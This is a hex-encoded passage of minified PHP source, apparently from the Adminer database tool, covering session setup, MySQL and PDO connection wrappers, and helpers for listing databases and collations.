49 4E 47 5D 22 3B 24 62 61 3D 24 5F 53 45 52 56 45 52 5B 22 48 54 54 50
53 22 5D 26 26 73 74 72 63 61 73 65 63 6D 70 28 24 5F 53 45 52 56 45 52
5B 22 48 54 54 50 53 22 5D 2C 22 6F 66 66 22 29 3B 40 69 6E 69 5F 73 65
74 28 22 73 65 73 73 69 6F 6E 2E 75 73 65 5F 74 72 61 6E 73 5F 73 69 64
22 2C 66 61 6C 73 65 29 3B 69 66 28 21 64 65 66 69 6E 65 64 28 22 53 49
44 22 29 29 7B 73 65 73 73 69 6F 6E 5F 6E 61 6D 65 28 22 61 64 6D 69 6E
65 72 5F 73 69 64 22 29 3B 24 67 65 3D 61 72 72 61 79 28 30 2C 70 72 65
67 5F 72 65 70 6C 61 63 65 28 27 7E 5C 5C 3F 2E 2A 7E 27 2C 27 27 2C 24
5F 53 45 52 56 45 52 5B 22 52 45 51 55 45 53 54 5F 55 52 49 22 5D 29 2C
22 22 2C 24 62 61 29 3B 69 66 28 76 65 72 73 69 6F 6E 5F 63 6F 6D 70 61
72 65 28 50 48 50 5F 56 45 52 53 49 4F 4E 2C 27 35 2E 32 2E 30 27 29 3E
3D 30 29 24 67 65 5B 5D 3D 74 72 75 65 3B 63 61 6C 6C 5F 75 73 65 72 5F
66 75 6E 63 5F 61 72 72 61 79 28 27 73 65 73 73 69 6F 6E 5F 73 65 74 5F
63 6F 6F 6B 69 65 5F 70 61 72 61 6D 73 27 2C 24 67 65 29 3B 73 65 73 73
69 6F 6E 5F 73 74 61 72 74 28 29 3B 7D 72 65 6D 6F 76 65 5F 73 6C 61 73
68 65 73 28 61 72 72 61 79 28 26 24 5F 47 45 54 2C 26 24 5F 50 4F 53 54
2C 26 24 5F 43 4F 4F 4B 49 45 29 2C 24 6A 63 29 3B 69 66 28 66 75 6E 63
74 69 6F 6E 5F 65 78 69 73 74 73 28 22 73 65 74 5F 6D 61 67 69 63 5F 71
75 6F 74 65 73 5F 72 75 6E 74 69 6D 65 22 29 29 73 65 74 5F 6D 61 67 69
63 5F 71 75 6F 74 65 73 5F 72 75 6E 74 69 6D 65 28 66 61 6C 73 65 29 3B
40 73 65 74 5F 74 69 6D 65 5F 6C 69 6D 69 74 28 30 29 3B 40 69 6E 69 5F
73 65 74 28 22 7A 65 6E 64 2E 7A 65 31 5F 63 6F 6D 70 61 74 69 62 69 6C
69 74 79 5F 6D 6F 64 65 22 2C 66 61 6C 73 65 29 3B 40 69 6E 69 5F 73 65
74 28 22 70 72 65 63 69 73 69 6F 6E 22 2C 32 30 29 3B 66 75 6E 63 74 69
6F 6E 0A 67 65 74 5F 6C 61 6E 67 28 29 7B 72 65 74 75 72 6E 27 65 6E 27
3B 7D 66 75 6E 63 74 69 6F 6E 0A 6C 61 6E 67 28 24 56 66 2C 24 46 64 3D
6E 75 6C 6C 29 7B 69 66 28 69 73 5F 61 72 72 61 79 28 24 56 66 29 29 7B
24 71 65 3D 28 24 46 64 3D 3D 31 3F 30 3A 31 29 3B 24 56 66 3D 24 56 66
5B 24 71 65 5D 3B 7D 24 56 66 3D 73 74 72 5F 72 65 70 6C 61 63 65 28 22
25 64 22 2C 22 25 73 22 2C 24 56 66 29 3B 24 46 64 3D 6E 75 6D 62 65 72
5F 66 6F 72 6D 61 74 28 24 46 64 2C 30 2C 22 2E 22 2C 27 2C 27 29 3B 72
65 74 75 72 6E 0A 73 70 72 69 6E 74 66 28 24 56 66 2C 24 46 64 29 3B 7D
69 66 28 65 78 74 65 6E 73 69 6F 6E 5F 6C 6F 61 64 65 64 28 27 70 64 6F
27 29 29 7B 63 6C 61 73 73 0A 4D 69 6E 5F 50 44 4F 0A 65 78 74 65 6E 64
73 0A 50 44 4F 7B 76 61 72 24 5F 72 65 73 75 6C 74 2C 24 73 65 72 76 65
72 5F 69 6E 66 6F 2C 24 61 66 66 65 63 74 65 64 5F 72 6F 77 73 2C 24 65
72 72 6E 6F 2C 24 65 72 72 6F 72 3B 66 75 6E 63 74 69 6F 6E 0A 5F 5F 63
6F 6E 73 74 72 75 63 74 28 29 7B 67 6C 6F 62 61 6C 24 62 3B 24 71 65 3D
61 72 72 61 79 5F 73 65 61 72 63 68 28 22 53 51 4C 22 2C 24 62 2D 3E 6F
70 65 72 61 74 6F 72 73 29 3B 69 66 28 24 71 65 21 3D 3D 66 61 6C 73 65
29 75 6E 73 65 74 28 24 62 2D 3E 6F 70 65 72 61 74 6F 72 73 5B 24 71 65
5D 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 64 73 6E 28 24 43 62 2C 24 56 2C
24 6E 65 2C 24 57 62 3D 27 61 75 74 68 5F 65 72 72 6F 72 27 29 7B 73 65
74 5F 65 78 63 65 70 74 69 6F 6E 5F 68 61 6E 64 6C 65 72 28 24 57 62 29
3B 70 61 72 65 6E 74 3A 3A 5F 5F 63 6F 6E 73 74 72 75 63 74 28 24 43 62
2C 24 56 2C 24 6E 65 29 3B 72 65 73 74 6F 72 65 5F 65 78 63 65 70 74 69
6F 6E 5F 68 61 6E 64 6C 65 72 28 29 3B 24 74 68 69 73 2D 3E 73 65 74 41
74 74 72 69 62 75 74 65 28 31 33 2C 61 72 72 61 79 28 27 4D 69 6E 5F 50
44 4F 53 74 61 74 65 6D 65 6E 74 27 29 29 3B 24 74 68 69 73 2D 3E 73 65
72 76 65 72 5F 69 6E 66 6F 3D 24 74 68 69 73 2D 3E 67 65 74 41 74 74 72
69 62 75 74 65 28 34 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 71 75 65 72 79
28 24 49 2C 24 64 67 3D 66 61 6C 73 65 29 7B 24 4A 3D 70 61 72 65 6E 74
3A 3A 71 75 65 72 79 28 24 49 29 3B 24 74 68 69 73 2D 3E 65 72 72 6F 72
3D 22 22 3B 69 66 28 21 24 4A 29 7B 6C 69 73 74 28 2C 24 74 68 69 73 2D
3E 65 72 72 6E 6F 2C 24 74 68 69 73 2D 3E 65 72 72 6F 72 29 3D 24 74 68
69 73 2D 3E 65 72 72 6F 72 49 6E 66 6F 28 29 3B 72 65 74 75 72 6E 0A 66
61 6C 73 65 3B 7D 24 74 68 69 73 2D 3E 73 74 6F 72 65 5F 72 65 73 75 6C
74 28 24 4A 29 3B 72 65 74 75 72 6E 24 4A 3B 7D 66 75 6E 63 74 69 6F 6E
0A 6D 75 6C 74 69 5F 71 75 65 72 79 28 24 49 29 7B 72 65 74 75 72 6E 24
74 68 69 73 2D 3E 5F 72 65 73 75 6C 74 3D 24 74 68 69 73 2D 3E 71 75 65
72 79 28 24 49 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 73 74 6F 72 65 5F 72
65 73 75 6C 74 28 24 4A 3D 6E 75 6C 6C 29 7B 69 66 28 21 24 4A 29 7B 24
4A 3D 24 74 68 69 73 2D 3E 5F 72 65 73 75 6C 74 3B 69 66 28 21 24 4A 29
72 65 74 75 72 6E 0A 66 61 6C 73 65 3B 7D 69 66 28 24 4A 2D 3E 63 6F 6C
75 6D 6E 43 6F 75 6E 74 28 29 29 7B 24 4A 2D 3E 6E 75 6D 5F 72 6F 77 73
3D 24 4A 2D 3E 72 6F 77 43 6F 75 6E 74 28 29 3B 72 65 74 75 72 6E 24 4A
3B 7D 24 74 68 69 73 2D 3E 61 66 66 65 63 74 65 64 5F 72 6F 77 73 3D 24
4A 2D 3E 72 6F 77 43 6F 75 6E 74 28 29 3B 72 65 74 75 72 6E 0A 74 72 75
65 3B 7D 66 75 6E 63 74 69 6F 6E 0A 6E 65 78 74 5F 72 65 73 75 6C 74 28
29 7B 69 66 28 21 24 74 68 69 73 2D 3E 5F 72 65 73 75 6C 74 29 72 65 74
75 72 6E 0A 66 61 6C 73 65 3B 24 74 68 69 73 2D 3E 5F 72 65 73 75 6C 74
2D 3E 5F 6F 66 66 73 65 74 3D 30 3B 72 65 74 75 72 6E 40 24 74 68 69 73
2D 3E 5F 72 65 73 75 6C 74 2D 3E 6E 65 78 74 52 6F 77 73 65 74 28 29 3B
7D 66 75 6E 63 74 69 6F 6E 0A 72 65 73 75 6C 74 28 24 49 2C 24 6D 3D 30
29 7B 24 4A 3D 24 74 68 69 73 2D 3E 71 75 65 72 79 28 24 49 29 3B 69 66
28 21 24 4A 29 72 65 74 75 72 6E 0A 66 61 6C 73 65 3B 24 4C 3D 24 4A 2D
3E 66 65 74 63 68 28 29 3B 72 65 74 75 72 6E 24 4C 5B 24 6D 5D 3B 7D 7D
63 6C 61 73 73 0A 4D 69 6E 5F 50 44 4F 53 74 61 74 65 6D 65 6E 74 0A 65
78 74 65 6E 64 73 0A 50 44 4F 53 74 61 74 65 6D 65 6E 74 7B 76 61 72 24
5F 6F 66 66 73 65 74 3D 30 2C 24 6E 75 6D 5F 72 6F 77 73 3B 66 75 6E 63
74 69 6F 6E 0A 66 65 74 63 68 5F 61 73 73 6F 63 28 29 7B 72 65 74 75 72
6E 24 74 68 69 73 2D 3E 66 65 74 63 68 28 32 29 3B 7D 66 75 6E 63 74 69
6F 6E 0A 66 65 74 63 68 5F 72 6F 77 28 29 7B 72 65 74 75 72 6E 24 74 68
69 73 2D 3E 66 65 74 63 68 28 33 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 66
65 74 63 68 5F 66 69 65 6C 64 28 29 7B 24 4C 3D 28 6F 62 6A 65 63 74 29
24 74 68 69 73 2D 3E 67 65 74 43 6F 6C 75 6D 6E 4D 65 74 61 28 24 74 68
69 73 2D 3E 5F 6F 66 66 73 65 74 2B 2B 29 3B 24 4C 2D 3E 6F 72 67 74 61
62 6C 65 3D 24 4C 2D 3E 74 61 62 6C 65 3B 24 4C 2D 3E 6F 72 67 6E 61 6D
65 3D 24 4C 2D 3E 6E 61 6D 65 3B 24 4C 2D 3E 63 68 61 72 73 65 74 6E 72
3D 28 69 6E 5F 61 72 72 61 79 28 22 62 6C 6F 62 22 2C 28 61 72 72 61 79
29 24 4C 2D 3E 66 6C 61 67 73 29 3F 36 33 3A 30 29 3B 72 65 74 75 72 6E
24 4C 3B 7D 7D 7D 24 7A 62 3D 61 72 72 61 79 28 29 3B 24 7A 62 3D 61 72
72 61 79 28 22 73 65 72 76 65 72 22 3D 3E 22 4D 79 53 51 4C 22 29 2B 24
7A 62 3B 69 66 28 21 64 65 66 69 6E 65 64 28 22 44 52 49 56 45 52 22 29
29 7B 24 74 65 3D 61 72 72 61 79 28 22 4D 79 53 51 4C 69 22 2C 22 4D 79
53 51 4C 22 2C 22 50 44 4F 5F 4D 79 53 51 4C 22 29 3B 64 65 66 69 6E 65
28 22 44 52 49 56 45 52 22 2C 22 73 65 72 76 65 72 22 29 3B 69 66 28 65
78 74 65 6E 73 69 6F 6E 5F 6C 6F 61 64 65 64 28 22 6D 79 73 71 6C 69 22
29 29 7B 63 6C 61 73 73 0A 4D 69 6E 5F 44 42 0A 65 78 74 65 6E 64 73 0A
4D 79 53 51 4C 69 7B 76 61 72 24 65 78 74 65 6E 73 69 6F 6E 3D 22 4D 79
53 51 4C 69 22 3B 66 75 6E 63 74 69 6F 6E 0A 4D 69 6E 5F 44 42 28 29 7B
70 61 72 65 6E 74 3A 3A 69 6E 69 74 28 29 3B 7D 66 75 6E 63 74 69 6F 6E
0A 63 6F 6E 6E 65 63 74 28 24 4F 2C 24 56 2C 24 6E 65 29 7B 6D 79 73 71
6C 69 5F 72 65 70 6F 72 74 28 4D 59 53 51 4C 49 5F 52 45 50 4F 52 54 5F
4F 46 46 29 3B 6C 69 73 74 28 24 44 63 2C 24 70 65 29 3D 65 78 70 6C 6F
64 65 28 22 3A 22 2C 24 4F 2C 32 29 3B 24 4B 3D 40 24 74 68 69 73 2D 3E
72 65 61 6C 5F 63 6F 6E 6E 65 63 74 28 28 24 4F 21 3D 22 22 3F 24 44 63
3A 69 6E 69 5F 67 65 74 28 22 6D 79 73 71 6C 69 2E 64 65 66 61 75 6C 74
5F 68 6F 73 74 22 29 29 2C 28 24 4F 2E 24 56 21 3D 22 22 3F 24 56 3A 69
6E 69 5F 67 65 74 28 22 6D 79 73 71 6C 69 2E 64 65 66 61 75 6C 74 5F 75
73 65 72 22 29 29 2C 28 24 4F 2E 24 56 2E 24 6E 65 21 3D 22 22 3F 24 6E
65 3A 69 6E 69 5F 67 65 74 28 22 6D 79 73 71 6C 69 2E 64 65 66 61 75 6C
74 5F 70 77 22 29 29 2C 6E 75 6C 6C 2C 28 69 73 5F 6E 75 6D 65 72 69 63
28 24 70 65 29 3F 24 70 65 3A 69 6E 69 5F 67 65 74 28 22 6D 79 73 71 6C
69 2E 64 65 66 61 75 6C 74 5F 70 6F 72 74 22 29 29 2C 28 21 69 73 5F 6E
75 6D 65 72 69 63 28 24 70 65 29 3F 24 70 65 3A 6E 75 6C 6C 29 29 3B 69
66 28 24 4B 29 7B 69 66 28 6D 65 74 68 6F 64 5F 65 78 69 73 74 73 28 24
74 68 69 73 2C 27 73 65 74 5F 63 68 61 72 73 65 74 27 29 29 24 74 68 69
73 2D 3E 73 65 74 5F 63 68 61 72 73 65 74 28 22 75 74 66 38 22 29 3B 65
6C 73 65 24 74 68 69 73 2D 3E 71 75 65 72 79 28 22 53 45 54 20 4E 41 4D
45 53 20 75 74 66 38 22 29 3B 7D 72 65 74 75 72 6E 24 4B 3B 7D 66 75 6E
63 74 69 6F 6E 0A 72 65 73 75 6C 74 28 24 49 2C 24 6D 3D 30 29 7B 24 4A
3D 24 74 68 69 73 2D 3E 71 75 65 72 79 28 24 49 29 3B 69 66 28 21 24 4A
29 72 65 74 75 72 6E 0A 66 61 6C 73 65 3B 24 4C 3D 24 4A 2D 3E 66 65 74
63 68 5F 61 72 72 61 79 28 29 3B 72 65 74 75 72 6E 24 4C 5B 24 6D 5D 3B
7D 66 75 6E 63 74 69 6F 6E 0A 71 75 6F 74 65 28 24 71 66 29 7B 72 65 74
75 72 6E 22 27 22 2E 24 74 68 69 73 2D 3E 65 73 63 61 70 65 5F 73 74 72
69 6E 67 28 24 71 66 29 2E 22 27 22 3B 7D 7D 7D 65 6C 73 65 69 66 28 65
78 74 65 6E 73 69 6F 6E 5F 6C 6F 61 64 65 64 28 22 6D 79 73 71 6C 22 29
26 26 21 28 69 6E 69 5F 67 65 74 28 22 73 71 6C 2E 73 61 66 65 5F 6D 6F
64 65 22 29 26 26 65 78 74 65 6E 73 69 6F 6E 5F 6C 6F 61 64 65 64 28 22
70 64 6F 5F 6D 79 73 71 6C 22 29 29 29 7B 63 6C 61 73 73 0A 4D 69 6E 5F
44 42 7B 76 61 72 24 65 78 74 65 6E 73 69 6F 6E 3D 22 4D 79 53 51 4C 22
2C 24 73 65 72 76 65 72 5F 69 6E 66 6F 2C 24 61 66 66 65 63 74 65 64 5F
72 6F 77 73 2C 24 65 72 72 6E 6F 2C 24 65 72 72 6F 72 2C 24 5F 6C 69 6E
6B 2C 24 5F 72 65 73 75 6C 74 3B 66 75 6E 63 74 69 6F 6E 0A 63 6F 6E 6E
65 63 74 28 24 4F 2C 24 56 2C 24 6E 65 29 7B 24 74 68 69 73 2D 3E 5F 6C
69 6E 6B 3D 40 6D 79 73 71 6C 5F 63 6F 6E 6E 65 63 74 28 28 24 4F 21 3D
22 22 3F 24 4F 3A 69 6E 69 5F 67 65 74 28 22 6D 79 73 71 6C 2E 64 65 66
61 75 6C 74 5F 68 6F 73 74 22 29 29 2C 28 22 24 4F 24 56 22 21 3D 22 22
3F 24 56 3A 69 6E 69 5F 67 65 74 28 22 6D 79 73 71 6C 2E 64 65 66 61 75
6C 74 5F 75 73 65 72 22 29 29 2C 28 22 24 4F 24 56 24 6E 65 22 21 3D 22
22 3F 24 6E 65 3A 69 6E 69 5F 67 65 74 28 22 6D 79 73 71 6C 2E 64 65 66
61 75 6C 74 5F 70 61 73 73 77 6F 72 64 22 29 29 2C 74 72 75 65 2C 31 33
31 30 37 32 29 3B 69 66 28 24 74 68 69 73 2D 3E 5F 6C 69 6E 6B 29 7B 24
74 68 69 73 2D 3E 73 65 72 76 65 72 5F 69 6E 66 6F 3D 6D 79 73 71 6C 5F
67 65 74 5F 73 65 72 76 65 72 5F 69 6E 66 6F 28 24 74 68 69 73 2D 3E 5F
6C 69 6E 6B 29 3B 69 66 28 66 75 6E 63 74 69 6F 6E 5F 65 78 69 73 74 73
28 27 6D 79 73 71 6C 5F 73 65 74 5F 63 68 61 72 73 65 74 27 29 29 6D 79
73 71 6C 5F 73 65 74 5F 63 68 61 72 73 65 74 28 22 75 74 66 38 22 2C 24
74 68 69 73 2D 3E 5F 6C 69 6E 6B 29 3B 65 6C 73 65 24 74 68 69 73 2D 3E
71 75 65 72 79 28 22 53 45 54 20 4E 41 4D 45 53 20 75 74 66 38 22 29 3B
7D 65 6C 73 65 24 74 68 69 73 2D 3E 65 72 72 6F 72 3D 6D 79 73 71 6C 5F
65 72 72 6F 72 28 29 3B 72 65 74 75 72 6E 28 62 6F 6F 6C 29 24 74 68 69
73 2D 3E 5F 6C 69 6E 6B 3B 7D 66 75 6E 63 74 69 6F 6E 0A 71 75 6F 74 65
28 24 71 66 29 7B 72 65 74 75 72 6E 22 27 22 2E 6D 79 73 71 6C 5F 72 65
61 6C 5F 65 73 63 61 70 65 5F 73 74 72 69 6E 67 28 24 71 66 2C 24 74 68
69 73 2D 3E 5F 6C 69 6E 6B 29 2E 22 27 22 3B 7D 66 75 6E 63 74 69 6F 6E
0A 73 65 6C 65 63 74 5F 64 62 28 24 6B 62 29 7B 72 65 74 75 72 6E 0A 6D
79 73 71 6C 5F 73 65 6C 65 63 74 5F 64 62 28 24 6B 62 2C 24 74 68 69 73
2D 3E 5F 6C 69 6E 6B 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 71 75 65 72 79
28 24 49 2C 24 64 67 3D 66 61 6C 73 65 29 7B 24 4A 3D 40 28 24 64 67 3F
6D 79 73 71 6C 5F 75 6E 62 75 66 66 65 72 65 64 5F 71 75 65 72 79 28 24
49 2C 24 74 68 69 73 2D 3E 5F 6C 69 6E 6B 29 3A 6D 79 73 71 6C 5F 71 75
65 72 79 28 24 49 2C 24 74 68 69 73 2D 3E 5F 6C 69 6E 6B 29 29 3B 24 74
68 69 73 2D 3E 65 72 72 6F 72 3D 22 22 3B 69 66 28 21 24 4A 29 7B 24 74
68 69 73 2D 3E 65 72 72 6E 6F 3D 6D 79 73 71 6C 5F 65 72 72 6E 6F 28 24
74 68 69 73 2D 3E 5F 6C 69 6E 6B 29 3B 24 74 68 69 73 2D 3E 65 72 72 6F
72 3D 6D 79 73 71 6C 5F 65 72 72 6F 72 28 24 74 68 69 73 2D 3E 5F 6C 69
6E 6B 29 3B 72 65 74 75 72 6E 0A 66 61 6C 73 65 3B 7D 69 66 28 24 4A 3D
3D 3D 74 72 75 65 29 7B 24 74 68 69 73 2D 3E 61 66 66 65 63 74 65 64 5F
72 6F 77 73 3D 6D 79 73 71 6C 5F 61 66 66 65 63 74 65 64 5F 72 6F 77 73
28 24 74 68 69 73 2D 3E 5F 6C 69 6E 6B 29 3B 24 74 68 69 73 2D 3E 69 6E
66 6F 3D 6D 79 73 71 6C 5F 69 6E 66 6F 28 24 74 68 69 73 2D 3E 5F 6C 69
6E 6B 29 3B 72 65 74 75 72 6E 0A 74 72 75 65 3B 7D 72 65 74 75 72 6E 0A
6E 65 77 0A 4D 69 6E 5F 52 65 73 75 6C 74 28 24 4A 29 3B 7D 66 75 6E 63
74 69 6F 6E 0A 6D 75 6C 74 69 5F 71 75 65 72 79 28 24 49 29 7B 72 65 74
75 72 6E 24 74 68 69 73 2D 3E 5F 72 65 73 75 6C 74 3D 24 74 68 69 73 2D
3E 71 75 65 72 79 28 24 49 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 73 74 6F
72 65 5F 72 65 73 75 6C 74 28 29 7B 72 65 74 75 72 6E 24 74 68 69 73 2D
3E 5F 72 65 73 75 6C 74 3B 7D 66 75 6E 63 74 69 6F 6E 0A 6E 65 78 74 5F
72 65 73 75 6C 74 28 29 7B 72 65 74 75 72 6E 0A 66 61 6C 73 65 3B 7D 66
75 6E 63 74 69 6F 6E 0A 72 65 73 75 6C 74 28 24 49 2C 24 6D 3D 30 29 7B
24 4A 3D 24 74 68 69 73 2D 3E 71 75 65 72 79 28 24 49 29 3B 69 66 28 21
24 4A 7C 7C 21 24 4A 2D 3E 6E 75 6D 5F 72 6F 77 73 29 72 65 74 75 72 6E
0A 66 61 6C 73 65 3B 72 65 74 75 72 6E 0A 6D 79 73 71 6C 5F 72 65 73 75
6C 74 28 24 4A 2D 3E 5F 72 65 73 75 6C 74 2C 30 2C 24 6D 29 3B 7D 7D 63
6C 61 73 73 0A 4D 69 6E 5F 52 65 73 75 6C 74 7B 76 61 72 24 6E 75 6D 5F
72 6F 77 73 2C 24 5F 72 65 73 75 6C 74 2C 24 5F 6F 66 66 73 65 74 3D 30
3B 66 75 6E 63 74 69 6F 6E 0A 4D 69 6E 5F 52 65 73 75 6C 74 28 24 4A 29
7B 24 74 68 69 73 2D 3E 5F 72 65 73 75 6C 74 3D 24 4A 3B 24 74 68 69 73
2D 3E 6E 75 6D 5F 72 6F 77 73 3D 6D 79 73 71 6C 5F 6E 75 6D 5F 72 6F 77
73 28 24 4A 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 66 65 74 63 68 5F 61 73
73 6F 63 28 29 7B 72 65 74 75 72 6E 0A 6D 79 73 71 6C 5F 66 65 74 63 68
5F 61 73 73 6F 63 28 24 74 68 69 73 2D 3E 5F 72 65 73 75 6C 74 29 3B 7D
66 75 6E 63 74 69 6F 6E 0A 66 65 74 63 68 5F 72 6F 77 28 29 7B 72 65 74
75 72 6E 0A 6D 79 73 71 6C 5F 66 65 74 63 68 5F 72 6F 77 28 24 74 68 69
73 2D 3E 5F 72 65 73 75 6C 74 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 66 65
74 63 68 5F 66 69 65 6C 64 28 29 7B 24 4B 3D 6D 79 73 71 6C 5F 66 65 74
63 68 5F 66 69 65 6C 64 28 24 74 68 69 73 2D 3E 5F 72 65 73 75 6C 74 2C
24 74 68 69 73 2D 3E 5F 6F 66 66 73 65 74 2B 2B 29 3B 24 4B 2D 3E 6F 72
67 74 61 62 6C 65 3D 24 4B 2D 3E 74 61 62 6C 65 3B 24 4B 2D 3E 6F 72 67
6E 61 6D 65 3D 24 4B 2D 3E 6E 61 6D 65 3B 24 4B 2D 3E 63 68 61 72 73 65
74 6E 72 3D 28 24 4B 2D 3E 62 6C 6F 62 3F 36 33 3A 30 29 3B 72 65 74 75
72 6E 24 4B 3B 7D 66 75 6E 63 74 69 6F 6E 0A 5F 5F 64 65 73 74 72 75 63
74 28 29 7B 6D 79 73 71 6C 5F 66 72 65 65 5F 72 65 73 75 6C 74 28 24 74
68 69 73 2D 3E 5F 72 65 73 75 6C 74 29 3B 7D 7D 7D 65 6C 73 65 69 66 28
65 78 74 65 6E 73 69 6F 6E 5F 6C 6F 61 64 65 64 28 22 70 64 6F 5F 6D 79
73 71 6C 22 29 29 7B 63 6C 61 73 73 0A 4D 69 6E 5F 44 42 0A 65 78 74 65
6E 64 73 0A 4D 69 6E 5F 50 44 4F 7B 76 61 72 24 65 78 74 65 6E 73 69 6F
6E 3D 22 50 44 4F 5F 4D 79 53 51 4C 22 3B 66 75 6E 63 74 69 6F 6E 0A 63
6F 6E 6E 65 63 74 28 24 4F 2C 24 56 2C 24 6E 65 29 7B 24 74 68 69 73 2D
3E 64 73 6E 28 22 6D 79 73 71 6C 3A 68 6F 73 74 3D 22 2E 73 74 72 5F 72
65 70 6C 61 63 65 28 22 3A 22 2C 22 3B 75 6E 69 78 5F 73 6F 63 6B 65 74
3D 22 2C 70 72 65 67 5F 72 65 70 6C 61 63 65 28 27 7E 3A 28 5C 5C 64 29
7E 27 2C 27 3B 70 6F 72 74 3D 5C 5C 31 27 2C 24 4F 29 29 2C 24 56 2C 24
6E 65 29 3B 24 74 68 69 73 2D 3E 71 75 65 72 79 28 22 53 45 54 20 4E 41
4D 45 53 20 75 74 66 38 22 29 3B 72 65 74 75 72 6E 0A 74 72 75 65 3B 7D
66 75 6E 63 74 69 6F 6E 0A 73 65 6C 65 63 74 5F 64 62 28 24 6B 62 29 7B
72 65 74 75 72 6E 24 74 68 69 73 2D 3E 71 75 65 72 79 28 22 55 53 45 20
22 2E 69 64 66 5F 65 73 63 61 70 65 28 24 6B 62 29 29 3B 7D 66 75 6E 63
74 69 6F 6E 0A 71 75 65 72 79 28 24 49 2C 24 64 67 3D 66 61 6C 73 65 29
7B 24 74 68 69 73 2D 3E 73 65 74 41 74 74 72 69 62 75 74 65 28 31 30 30
30 2C 21 24 64 67 29 3B 72 65 74 75 72 6E 0A 70 61 72 65 6E 74 3A 3A 71
75 65 72 79 28 24 49 2C 24 64 67 29 3B 7D 7D 7D 66 75 6E 63 74 69 6F 6E
0A 69 64 66 5F 65 73 63 61 70 65 28 24 47 63 29 7B 72 65 74 75 72 6E 22
60 22 2E 73 74 72 5F 72 65 70 6C 61 63 65 28 22 60 22 2C 22 60 60 22 2C
24 47 63 29 2E 22 60 22 3B 7D 66 75 6E 63 74 69 6F 6E 0A 74 61 62 6C 65
28 24 47 63 29 7B 72 65 74 75 72 6E 0A 69 64 66 5F 65 73 63 61 70 65 28
24 47 63 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 63 6F 6E 6E 65 63 74 28 29
7B 67 6C 6F 62 61 6C 24 62 3B 24 67 3D 6E 65 77 0A 4D 69 6E 5F 44 42 3B
24 67 62 3D 24 62 2D 3E 63 72 65 64 65 6E 74 69 61 6C 73 28 29 3B 69 66
28 24 67 2D 3E 63 6F 6E 6E 65 63 74 28 24 67 62 5B 30 5D 2C 24 67 62 5B
31 5D 2C 24 67 62 5B 32 5D 29 29 7B 24 67 2D 3E 71 75 65 72 79 28 22 53
45 54 20 73 71 6C 5F 71 75 6F 74 65 5F 73 68 6F 77 5F 63 72 65 61 74 65
20 3D 20 31 2C 20 61 75 74 6F 63 6F 6D 6D 69 74 20 3D 20 31 22 29 3B 72
65 74 75 72 6E 24 67 3B 7D 24 4B 3D 24 67 2D 3E 65 72 72 6F 72 3B 69 66
28 66 75 6E 63 74 69 6F 6E 5F 65 78 69 73 74 73 28 27 69 63 6F 6E 76 27
29 26 26 21 69 73 5F 75 74 66 38 28 24 4B 29 26 26 73 74 72 6C 65 6E 28
24 59 65 3D 69 63 6F 6E 76 28 22 77 69 6E 64 6F 77 73 2D 31 32 35 30 22
2C 22 75 74 66 2D 38 22 2C 24 4B 29 29 3E 73 74 72 6C 65 6E 28 24 4B 29
29 24 4B 3D 24 59 65 3B 72 65 74 75 72 6E 24 4B 3B 7D 66 75 6E 63 74 69
6F 6E 0A 67 65 74 5F 64 61 74 61 62 61 73 65 73 28 24 6C 63 29 7B 67 6C
6F 62 61 6C 24 67 3B 24 4B 3D 67 65 74 5F 73 65 73 73 69 6F 6E 28 22 64
62 73 22 29 3B 69 66 28 24 4B 3D 3D 3D 6E 75 6C 6C 29 7B 24 49 3D 28 24
67 2D 3E 73 65 72 76 65 72 5F 69 6E 66 6F 3E 3D 35 3F 22 53 45 4C 45 43
54 20 53 43 48 45 4D 41 5F 4E 41 4D 45 20 46 52 4F 4D 20 69 6E 66 6F 72
6D 61 74 69 6F 6E 5F 73 63 68 65 6D 61 2E 53 43 48 45 4D 41 54 41 22 3A
22 53 48 4F 57 20 44 41 54 41 42 41 53 45 53 22 29 3B 24 4B 3D 28 24 6C
63 3F 73 6C 6F 77 5F 71 75 65 72 79 28 24 49 29 3A 67 65 74 5F 76 61 6C
73 28 24 49 29 29 3B 72 65 73 74 61 72 74 5F 73 65 73 73 69 6F 6E 28 29
3B 73 65 74 5F 73 65 73 73 69 6F 6E 28 22 64 62 73 22 2C 24 4B 29 3B 73
74 6F 70 5F 73 65 73 73 69 6F 6E 28 29 3B 7D 72 65 74 75 72 6E 24 4B 3B
7D 66 75 6E 63 74 69 6F 6E 0A 6C 69 6D 69 74 28 24 49 2C 24 5A 2C 24 7A
2C 24 48 64 3D 30 2C 24 65 66 3D 22 20 22 29 7B 72 65 74 75 72 6E 22 20
24 49 24 5A 22 2E 28 24 7A 21 3D 3D 6E 75 6C 6C 3F 24 65 66 2E 22 4C 49
4D 49 54 20 24 7A 22 2E 28 24 48 64 3F 22 20 4F 46 46 53 45 54 20 24 48
64 22 3A 22 22 29 3A 22 22 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 6C 69 6D
69 74 31 28 24 49 2C 24 5A 29 7B 72 65 74 75 72 6E 0A 6C 69 6D 69 74 28
24 49 2C 24 5A 2C 31 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 64 62 5F 63 6F
6C 6C 61 74 69 6F 6E 28 24 6B 2C 24 64 29 7B 67 6C 6F 62 61 6C 24 67 3B
24 4B 3D 6E 75 6C 6C 3B 24 69 3D 24 67 2D 3E 72 65 73 75 6C 74 28 22 53
48 4F 57 20 43 52 45 41 54 45 20 44 41 54 41 42 41 53 45 20 22 2E 69 64
66 5F 65 73 63 61 70 65 28 24 6B 29 2C 31 29 3B 69 66 28 70 72 65 67 5F
6D 61 74 63 68 28 27 7E 20 43 4F 4C 4C 41 54 45 20 28 5B 5E 20 5D 2B 29
7E 27 2C 24 69 2C 24 42 29 29 24 4B 3D 24 42 5B 31 5D 3B 65 6C 73 65 69
66 28 70 72 65 67 5F 6D 61 74 63 68 28 27 7E 20 43 48 41 52 41 43 54 45
52 20 53 45 54 20 28 5B 5E 20 5D 2B 29 7E 27 2C 24 69 2C 24 42 29 29 24
4B 3D 24 64 5B 24 42 5B 31 5D 5D 5B 2D 31 5D 3B 72 65 74 75 72 6E 24 4B
